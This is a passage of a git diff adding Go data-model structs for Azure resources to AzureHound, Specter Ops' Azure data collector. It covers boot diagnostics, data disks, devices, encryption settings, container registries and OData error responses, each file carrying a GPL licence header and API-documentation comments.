copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type BootDiagnotics struct { + // Whether boot diagnostics should be enabled on the virtual machine. + Enabled bool `json:"enabled,omitempty"` + + // Uri of the storage account to use for placing the console output and screenshot. + // If storageUri is not specified while enabling boot diagnostics, managed storage will be used. + StorageUri string `json:"storageUri,omitempty"` +} diff --git a/models/azure/boot_diagnostics_instance_view.go b/models/azure/boot_diagnostics_instance_view.go new file mode 100644 index 0000000..997c782 --- /dev/null +++ b/models/azure/boot_diagnostics_instance_view.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The instance view of a virtual machine boot diagnostics. +type BootDiagnoticsInstanceView struct { + // The console screenshot blob URI. + // NOTE: This will not be set if boot diagnostics is currently enabled with managed storage. + ConsoleScreenshotBlobUri string `json:"consoleScreenshotBlobUri,omitempty"` + + // The serial console log blob Uri. + // NOTE: This will not be set if boot diagnostics is currently enabled with managed storage. + SerialConsoleLogBlobUri string `json:"serialConsoleLogBlobUri,omitempty"` + + // The boot diagnostics status information for the VM. + // NOTE: It will be set only if there are errors encountered in enabling boot diagnostics. + Status InstanceViewStatus `json:"status,omitempty"` +} diff --git a/models/azure/capacity_reservation_profile.go b/models/azure/capacity_reservation_profile.go new file mode 100644 index 0000000..5d5325d --- /dev/null +++ b/models/azure/capacity_reservation_profile.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The parameters of a capacity reservation profile. +type CapacityReservationProfile struct { + // Specifies the capacity reservation group resource id that should be used for allocating the virtual machine or + // scaleset vm instances provided enough capacity has been reserved. Please refer to + // https://aka.ms/CapacityReservation for more details. + CapacityReservationGroup SubResource `json:"capacityReservationGroup,omitempty"` +} diff --git a/models/azure/cloning_info.go b/models/azure/cloning_info.go new file mode 100644 index 0000000..8d42ec0 --- /dev/null +++ b/models/azure/cloning_info.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type CloningInfo struct { + AppSettingsOverrides interface{} `json:"appSettingsOverrides,omitempty"` + CloneCustomHostNames bool `json:"cloneCustomHostNames,omitempty"` + CloneSourceControl bool `json:"cloneSourceControl,omitempty"` + ConfigureLoadBalancing bool `json:"configureLoadBalancing,omitempty"` + CorrelationId string `json:"correlationId,omitempty"` + HostingEnvironment string `json:"hostingEnvironment,omitempty"` + Overwrite bool `json:"overwrite,omitempty"` + SourceWebAppId string `json:"sourceWebAppId,omitempty"` + SourceWebAppLocation string `json:"sourceWebAppLocation,omitempty"` + TrafficManagerProfileId string `json:"trafficManagerProfileId,omitempty"` + TrafficManagerProfileName string `json:"trafficManagerProfileName,omitempty"` +} diff --git a/models/azure/common.go b/models/azure/common.go new file mode 100644 index 0000000..5eaeb19 --- /dev/null +++ b/models/azure/common.go @@ -0,0 +1,45 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "encoding/json" + +type Response struct { + Context string `json:"@odata.context,omitempty"` + Count int `json:"@odata.count,omitempty"` + NextLink string `json:"@odata.nextLink,omitempty"` + Value []json.RawMessage `json:"value"` +} + +type ErrorResponse struct { + Error ODataError `json:"error"` +} + +type ErrorAdditionalInfo struct { + Info map[string]string `json:"info,omitempty"` + Type string `json:"type,omitempty"` +} + +type ODataError struct { + AdditionalInfo []ErrorAdditionalInfo `json:"additionalInfo,omitempty"` + Code string `json:"code"` + Details []ODataError `json:"details,omitempty"` + Message string `json:"message"` + InnerError *ODataError `json:"innererror,omitempty"` + Target string `json:"target,omitempty"` +} diff --git a/models/azure/connection_item_properties.go b/models/azure/connection_item_properties.go new file mode 100644 index 0000000..a691f0e --- /dev/null +++ b/models/azure/connection_item_properties.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type ConnectionItemProperties struct { + //Properties of the private endpoint object. + PrivateEndpoint PrivateEndpoint `json:"privateEndpoint,omitempty"` + + // Approval state of the private link connection. + PrivateLinkServiceConnectionState PrivateLinkServiceConnectionState `json:"privateLinkServiceConnectionState,omitempty"` + + // Provisioning state of the private endpoint connection. + ProvisioningState enums.EndpointProvisioningState `json:"provisioningState,omitempty"` +} diff --git a/models/azure/connection_string_info.go b/models/azure/connection_string_info.go new file mode 100644 index 0000000..bd3f37d --- /dev/null +++ b/models/azure/connection_string_info.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type ConnStringInfo struct { + ConnectionString string `json:"connectionString,omitempty"` + Name string `json:"name,omitempty"` + Type enums.ConnectionStringType `json:"type,omitempty"` +} diff --git a/models/azure/container_registry.go b/models/azure/container_registry.go new file mode 100644 index 0000000..d476d48 --- /dev/null +++ b/models/azure/container_registry.go @@ -0,0 +1,49 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +// Mapped according to https://learn.microsoft.com/en-us/rest/api/containerregistry/registries/get?tabs=HTTP#registry +type ContainerRegistry struct { + Entity + + Identity ManagedIdentity `json:"identity,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` +} + +func (s ContainerRegistry) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s ContainerRegistry) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/data_disk.go b/models/azure/data_disk.go new file mode 100644 index 0000000..5c77116 --- /dev/null +++ b/models/azure/data_disk.go @@ -0,0 +1,95 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a data disk. +type DataDisk struct { + // Specifies the caching requirements. + // Possible values are: + // None + // ReadOnly + // ReadWrite + // + // Default: None for Standard storage. ReadOnly for Premium storage + Caching string `json:"caching,omitempty"` + + // Specifies how the virtual machine should be created. + // Possible values are: + // Attach - This value is used when you are using a specialized disk to create the virtual machine. + // FromImage - This value is used when you are using an image to create the virtual machine. If you are using a platform image, you also use the imageReference element described above. If you are using a marketplace image, you also use the plan element previously described. + CreateOption string `json:"createOption,omitempty"` + + // Specifies whether data disk should be deleted or detached upon VM deletion. + // Possible values: + // Delete - If this value is used, the data disk is deleted when VM is deleted. + // Detach - If this value is used, the data disk is retained after VM is deleted. + // The default value is set to detach + DeleteOption string `json:"deleteOption,omitempty"` + + // Specifies the detach behavior to be used while detaching a disk or which is already in the process of detachment + // from the virtual machine. + // Supported values: ForceDetach + // + // ForceDetach is applicable only for managed data disks. If a previous detachment attempt of the data disk did not + // complete due to an unexpected failure from the virtual machine and the disk is still not released then use + // force-detach as a last resort option to detach the disk forcibly from the VM. All writes might not have been + // flushed when using this detach behavior. + // + // This feature is still in preview mode and is not supported for VirtualMachineScaleSet. To force-detach a data disk + // update toBeDetached to 'true' along with setting detachOption: 'ForceDetach'. + DetachOption string `json:"detachOption,omitempty"` + + // Specifies the Read-Write IOPS for the managed disk when StorageAccountType is UltraSSD_LRS. + // Returned only for VirtualMachine ScaleSet VM disks. Can be updated only via updates to the + // VirtualMachine Scale Set. + DiskIOPSReadWrite int `json:"diskIOPSReadWrite,omitempty"` + + // Specifies the bandwidth in MB per second for the managed disk when StorageAccountType is UltraSSD_LRS. + // Returned only for VirtualMachine ScaleSet VM disks. Can be updated only via updates to the + // VirtualMachine Scale Set. + DiskMBpsReadWrite int `json:"diskMBpsReadWrite,omitempty"` + + // Specifies the size of an empty data disk in gigabytes. + // This element can be used to overwrite the size of the disk in a virtual machine image. + // This value cannot be larger than 1023 GB + DiskSizeGB int `json:"diskSizeGB,omitempty"` + + // The source user image virtual hard disk. The virtual hard disk will be copied before being attached to the + // virtual machine. If SourceImage is provided, the destination virtual hard drive must not exist. + Image VirtualHardDisk `json:"image,omitempty"` + + // Specifies the logical unit number of the data disk. + // This value is used to identify data disks within the VM and therefore must be unique for each data disk attached + // to a VM. + Lun int `json:"lun,omitempty"` + + // The managed disk parameters. + ManagedDisk ManagedDiskParameters `json:"managedDisk,omitempty"` + + // The disk name. + Name string `json:"name,omitempty"` + + // Specifies whether the data disk is in process of detachment from the VirtualMachine/VirtualMachineScaleset. + ToBeDetached bool `json:"toBeDetached,omitempty"` + + // The virtual hard disk. + Vhd VirtualHardDisk `json:"vhd,omitempty"` + + // Specifies whether writeAccelerator should be enabled or disabled on the disk. + WriteAcceleratorEnabled bool `json:"writeAcceleratorEnabled,omitempty"` +} diff --git a/models/azure/datetime_timezone.go b/models/azure/datetime_timezone.go new file mode 100644 index 0000000..426ef21 --- /dev/null +++ b/models/azure/datetime_timezone.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes the date, time and time zone of a point in time. +type DateTimeTimeZone struct { + // A single point of time in a combined date and time representation `{date}T{time} + DateTime string `json:"dateTime,omitempty"` + + // Represents a time zone + TimeZone string `json:"timeZone,omitempty"` +} diff --git a/models/azure/descendant-info.go b/models/azure/descendant-info.go new file mode 100644 index 0000000..7f2d400 --- /dev/null +++ b/models/azure/descendant-info.go @@ -0,0 +1,62 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The properties of the parent management group. +type DescendantParentGroupInfo struct { + // The fully qualified ID for the parent management group. + // + // For example: + // - /providers/Microsoft.Management/managementGroups/0000000-0000-0000-0000-000000000000 + Id string `json:"id,omitempty"` +} + +// DescendantInfoProperties describes the properties of the management group descendant. +type DescendantInfoProperties struct { + // The friendly name of the management group. + DisplayName string `json:"display_name,omitempty"` + + // The properties of the parent management group. + Parent DescendantParentGroupInfo `json:"parent,omitempty"` +} + +// DescendantInfo is a management group descendant. +type DescendantInfo struct { + // The fully qualified ID for the descendant. + // + // For example: + // - /providers/Microsoft.Management/managementGroups/0000000-0000-0000-0000-000000000000 + // - /subscriptions/0000000-0000-0000-0000-000000000000 + Id string `json:"id,omitempty"` + + // The name of the descendant. + // + // For example: + // - 00000000-0000-0000-0000-000000000000 + Name string `json:"name,omitempty"` + + // The properties of the management group descendant. + Properties DescendantInfoProperties `json:"properties,omitempty"` + + // The type of the resource. + // + // For example: + // - Microsoft.Management/managementGroups + // - /subscriptions + Type string `json:"type,omitempty"` +} diff --git a/models/azure/device.go b/models/azure/device.go new file mode 100644 index 0000000..64fffe0 --- /dev/null +++ b/models/azure/device.go @@ -0,0 +1,131 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Represents a device registered in the organization. Devices are created in the cloud using the Device Registration +// Service or by Intune. They're used by conditional access policies for multi-factor authentication. These devices can +// range from desktop and laptop machines to phones and tablets. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/device?view=graph-rest-1.0 +type Device struct { + DirectoryObject + + // true if the account is enabled; otherwise, false. Required. Default is true. + // Supports $filter (eq, ne, NOT, in). + // Only callers in Global Administrator and Cloud Device Administrator roles can set this property. + AccountEnabled bool `json:"accountEnabled,omitempty"` + + // For internal use only. Not nullable. Supports $filter (eq, NOT, ge, le). + AlternativeSecurityIds []AlternativeSecurityId `json:"alternativeSecurityIds,omitempty"` + + // The timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Read-only. + // Supports $filter (eq, ne, NOT, ge, le) and $orderBy. + ApproximateLastSignInDateTime string `json:"approximateLastSignInDateTime,omitempty"` + + // The timestamp when the device is no longer deemed compliant. + // The timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Read-only. + ComplianceExpirationDateTime string `json:"complianceExpirationDateTime,omitempty"` + + // Unique identifier set by Azure Device Registration Service at the time of registration. + // Supports $filter (eq, ne, NOT, startsWith). + DeviceId string `json:"deviceId,omitempty"` + + // For internal use only. Set to null. + DeviceMetadata string `json:"deviceMetadata,omitempty"` + + // For internal use only. + DeviceVersion int32 `json:"deviceVersion,omitempty"` + + // The display name for the device. + // Required. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith), $search, and $orderBy. + DisplayName string `json:"displayName,omitempty"` + + // Contains extension attributes 1-15 for the device. + // The individual extension attributes are not selectable. + // These properties are mastered in cloud and can be set during creation or update of a device object in Azure AD. + // Supports $filter (eq, NOT, startsWith). + ExtensionAttributes OnPremisesExtensionAttributes `json:"onPremisesExtensionAttributes,omitempty"` + + // true if the device complies with Mobile Device Management (MDM) policies; otherwise, false. + // Read-only. + // This can only be updated by Intune for any device OS type or by an approved MDM app for Windows OS devices. + // Supports $filter (eq, ne, NOT). + IsCompliant bool `json:"isCompliant,omitempty"` + + // true if the device is managed by a Mobile Device Management (MDM) app; otherwise, false. + // This can only be updated by Intune for any device OS type or by an approved MDM app for Windows OS devices. + // Supports $filter (eq, ne, NOT). + IsManaged bool `json:"isManaged,omitempty"` + + // Manufacturer of the device. + // Read-only. + Manufacturer string `json:"manufacturer,omitempty"` + + // Application identifier used to register device into MDM. + // Read-only. + // Supports $filter (eq, ne, NOT, startsWith). + MdmAppId string `json:"mdmAppId,omitempty"` + + // Model of the device. + // Read-only. + Model string `json:"model,omitempty"` + + // The last time at which the object was synced with the on-premises directory. + // The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z Read-only. + // Supports $filter (eq, ne, NOT, ge, le, in). + OnPremisesLastSyncDateTime string `json:"onPremisesLastSyncDateTime,omitempty"` + + // true if this object is synced from an on-premises directory; false if this object was originally synced from an + // on-premises directory but is no longer synced; null if this object has never been synced from an on-premises + // directory (default). + // Read-only. + // Supports $filter (eq, ne, NOT, in). + OnPremisesSyncEnabled bool `json:"onPremisesSyncEnabled,omitempty"` + + // The type of operating system on the device. + // Required. + // Supports $filter (eq, ne, NOT, ge, le, startsWith). + OperatingSystem string `json:"operatingSystem,omitempty"` + + // The version of the operating system on the device. + // Required. + // Supports $filter (eq, ne, NOT, ge, le, startsWith). + OperatingSystemVersion string `json:"operatingSystemVersion,omitempty"` + + // For internal use only. + // Not nullable. + // Supports $filter (eq, NOT, ge, le, startsWith). + PhysicalIds []string `json:"physicalIds,omitempty"` + + // The profile type of the device. + ProfileType enums.DeviceProfile `json:"profileType,omitempty"` + + // List of labels applied to the device by the system. + SystemLabels []string `json:"systemLabels,omitempty"` + + // Type of trust for the joined device. + // Read-only. + TrustType enums.TrustType `json:"trustType,omitempty"` +} diff --git a/models/azure/diagnostics_profile.go b/models/azure/diagnostics_profile.go new file mode 100644 index 0000000..4dcd781 --- /dev/null +++ b/models/azure/diagnostics_profile.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the boot diagnostic settings state. +// Minimum api-version: 2015-06-15. +type DiagnosticsProfile struct { + // Boot Diagnostics is a debugging feature which allows you to view Console Output and Screenshot to diagnose VM + // status. You can easily view the output of your console log. Azure also enables you to see a screenshot of the VM + // from the hypervisor. + BootDiagnotics BootDiagnotics `json:"bootDiagnotics,omitempty"` +} diff --git a/models/azure/diff_disk_settings.go b/models/azure/diff_disk_settings.go new file mode 100644 index 0000000..d1f7e5c --- /dev/null +++ b/models/azure/diff_disk_settings.go @@ -0,0 +1,36 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes the parameters of ephemeral disk settings that can be specified for operating system disk. +// NOTE: The ephemeral disk settings can only be specified for managed disk. +type DiffDiskSettings struct { + // Specifies the ephemeral disk settings for operating system disk. + Option string `json:"option,omitempty"` + + // Specifies the ephemeral disk placement for operating system disk. + // Possible values are: + // - CacheDisk + // - ResourceDisk + // + // Default: CacheDisk if one is configured for the VM size otherwise ResourceDisk is used. + // Refer to VM size documentation for Windows VM at https://docs.microsoft.com/azure/virtual-machines/windows/sizes + // and Linux VM at https://docs.microsoft.com/azure/virtual-machines/linux/sizes to check which VM sizes exposes a + // cache disk. + Placement string `json:"placement,omitempty"` +} diff --git a/models/azure/directory_object.go b/models/azure/directory_object.go new file mode 100644 index 0000000..149b62e --- /dev/null +++ b/models/azure/directory_object.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents an Azure Active Directory object. The directoryObject type is the base type for many other directory entity types. +type DirectoryObject struct { + // The unique identifier for the object. + // Note: The value is often but not exclusively a GUID (UUID v4 variant 2) + // + // Key + // Read-only + // Supports `filter` (eq,ne,NOT,in) + Id string `json:"id"` + + Type string `json:"@odata.type,omitempty"` +} diff --git a/models/azure/disk_encryption_set_params.go b/models/azure/disk_encryption_set_params.go new file mode 100644 index 0000000..90f7368 --- /dev/null +++ b/models/azure/disk_encryption_set_params.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes the parameter of customer managed disk encryption set resource id that can be specified for disk. +// NOTE: The disk encryption set resource id can only be specified for managed disk. +// Please refer https://aka.ms/mdssewithcmkoverview for more details. +type DiskEncryptionSetParameters struct { + // Resource ID. + Id string `json:"id,omitempty"` +} diff --git a/models/azure/disk_encryption_settings.go b/models/azure/disk_encryption_settings.go new file mode 100644 index 0000000..9a2f627 --- /dev/null +++ b/models/azure/disk_encryption_settings.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes an encryption setting for a disk +type DiskEncryptionSettings struct { + // Specifies the location of the disk encryption key, which is a Key Vault Secret. + DiskEncryptionKey KeyVaultSecretReference `json:"diskEncryptionKey,omitempty"` + + // Specifies whether disk encryption should be enabled on the virtual machine. + Enabled bool `json:"enabled,omitempty"` + + // Specifies the location of the key encryption key in Key Vault. + KeyEncryptionKey KeyVaultKeyReference `json:"keyEncryptionKey,omitempty"` +} diff --git a/models/azure/disk_instance_view.go b/models/azure/disk_instance_view.go new file mode 100644 index 0000000..400bd75 --- /dev/null +++ b/models/azure/disk_instance_view.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The instance view of the disk. +type DiskInstanceView struct { + // Specifies the encryption settings for the OS Disk. + // Minimum api-version: 2015-06-15 + EncryptionSettings []DiskEncryptionSettings `json:"encryptionSettings,omitempty"` + + // The disk name. + Name string `json:"name,omitempty"` + + // The resource status information. + Statuses []InstanceViewStatus `json:"statuses,omitempty"` +} diff --git a/models/azure/employee_org_data.go b/models/azure/employee_org_data.go new file mode 100644 index 0000000..97bf5de --- /dev/null +++ b/models/azure/employee_org_data.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents organization data associated with a user. +type EmployeeOrgData struct { + // The name of the division in which the user works. + // + // Returned only on `$select` + // Supports `$filter` + Division string `json:"division,omitempty"` + + // The cost center assoicated with the user. + // + // Returned only on `$select` + // Supports `$filter` + CostCenter string `json:"costCenter,omitempty"` +} diff --git a/models/azure/encryption_properties.go b/models/azure/encryption_properties.go new file mode 100644 index 0000000..26b2ca8 --- /dev/null +++ b/models/azure/encryption_properties.go @@ -0,0 +1,61 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type AutomationAccountEncryptionProperties struct { + Identity ManagedIdentity `json:"identity,omitempty"` + KeySource enums.EncryptionKeySourceType `json:"keySource,omitempty"` + KeyVaultProperties KeyVaultProperties `json:"keyVaultProperties,omitempty"` +} + +type StorageAccountEncryptionProperties struct { + Identity StorageAccountEncryptionIdentity `json:"identity,omitempty"` + KeySource enums.EncryptionKeySourceType `json:"keySource,omitempty"` + Keyvaultproperties KeyVaultProperties `json:"keyvaultproperties,omitempty"` + RequireInfrastructureEncryption bool `json:"requireInfrastructureEncryption,omitempty"` + Services EncryptionServices `json:"services,omitempty"` +} + +type KeyVaultProperties struct { + CurrentVersionedKeyExpirationTimestamp string `json:"currentVersionedKeyExpirationTimestamp,omitempty"` + CurrentVersionedKeyIdentifier string `json:"currentVersionedKeyIdentifier,omitempty"` + KeyName string `json:"keyName,omitempty"` + KeyVersion string `json:"keyVersion,omitempty"` + KeyvaultUri string `json:"keyvaultUri,omitempty"` + LastKeyRotationTimestamp string `json:"lastKeyRotationTimestamp,omitempty"` +} + +type StorageAccountEncryptionIdentity struct { + FederatedIdentityClientId string `json:"federatedIdentityClientId,omitempty"` + UserAssignedIdentity string `json:"userAssignedIdentity,omitempty"` +} + +type EncryptionServices struct { + Blob EncryptionService `json:"blob,omitempty"` + File EncryptionService `json:"file,omitempty"` + Queue EncryptionService `json:"queue,omitempty"` + Table EncryptionService `json:"table,omitempty"` +} + +type EncryptionService struct { + Enabled bool `json:"enabled,omitempty"` + KeyType enums.EncryptionKeyType `json:"keyType,omitempty"` + LastEnabledTime string `json:"lastEnabledTime,omitempty"` +} diff --git a/models/azure/entity.go b/models/azure/entity.go new file mode 100644 index 0000000..2c25565 --- /dev/null +++ b/models/azure/entity.go @@ -0,0 +1,22 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// 